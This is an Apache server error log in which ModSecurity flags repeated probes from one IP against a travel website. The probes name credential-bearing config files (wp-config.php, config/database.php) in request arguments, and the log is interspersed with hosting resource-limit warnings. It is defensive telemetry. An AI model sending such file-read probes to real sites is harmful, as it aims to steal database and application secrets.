[Fri Jul 17 08:55:50.317176 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.324241 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:classic-theme-styles-inline-css: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgviRF0UOO1RzB5_8uNgAAAA4"]
[Fri Jul 17 08:55:50.324915 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgviRF0UOO1RzB5_8uNgAAAA4"]
[Fri Jul 17 08:55:50.325071 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.325379 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgviRF0UOO1RzB5_8uNgAAAA4"]
[Fri Jul 17 08:55:50.331142 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:classic-theme-styles-inline-css: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVnAAAABM"]
[Fri Jul 17 08:55:50.331808 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVnAAAABM"]
[Fri Jul 17 08:55:50.331914 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.332185 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvvwooI4qY7Jg93pVnAAAABM"]
[Fri Jul 17 08:55:50.336391 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:classic-theme-styles-inline-css: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvujME1mgqYZ5O94mbAAAAAE"]
[Fri Jul 17 08:55:50.336418 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:classic-theme-styles-inline-css: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sfAAAABQ"]
[Fri Jul 17 08:55:50.337191 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sfAAAABQ"]
[Fri Jul 17 08:55:50.337302 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.337571 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvkgVnBK6wAv37w6sfAAAABQ"]
[Fri Jul 17 08:55:50.337845 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvujME1mgqYZ5O94mbAAAAAE"]
[Fri Jul 17 08:55:50.338011 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.342440 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvujME1mgqYZ5O94mbAAAAAE"]
[Fri Jul 17 08:55:50.346607 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:classic-theme-styles-inline-css: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAlQAAAAk"]
[Fri Jul 17 08:55:50.347294 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAlQAAAAk"]
[Fri Jul 17 08:55:50.347437 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.347755 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvhJ0z2bEtnOrIXVAlQAAAAk"]
[Fri Jul 17 08:55:50.373406 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:classic-theme-styles-inline-css: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvlh1WDijTxd1xw5MkgAAAAc"]
[Fri Jul 17 08:55:50.374114 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvlh1WDijTxd1xw5MkgAAAAc"]
[Fri Jul 17 08:55:50.374244 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.374548 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvlh1WDijTxd1xw5MkgAAAAc"]
[Fri Jul 17 08:55:50.384631 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.389979 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.398920 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.405943 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.407402 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.411807 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.417304 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.458432 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:50.659410 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.697457 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.699310 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.699684 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.700638 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.707983 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.712538 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google-language-translator-css: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAmQAAAAk"]
[Fri Jul 17 08:55:50.712643 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.713200 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAmQAAAAk"]
[Fri Jul 17 08:55:50.713300 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.713585 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvhJ0z2bEtnOrIXVAmQAAAAk"]
[Fri Jul 17 08:55:50.715981 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google-language-translator-css: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgviRF0UOO1RzB5_8uOgAAAA4"]
[Fri Jul 17 08:55:50.716308 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:google-language-translator-css: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvujME1mgqYZ5O94mcAAAAAE"]
[Fri Jul 17 08:55:50.716802 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgviRF0UOO1RzB5_8uOgAAAA4"]
[Fri Jul 17 08:55:50.716931 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
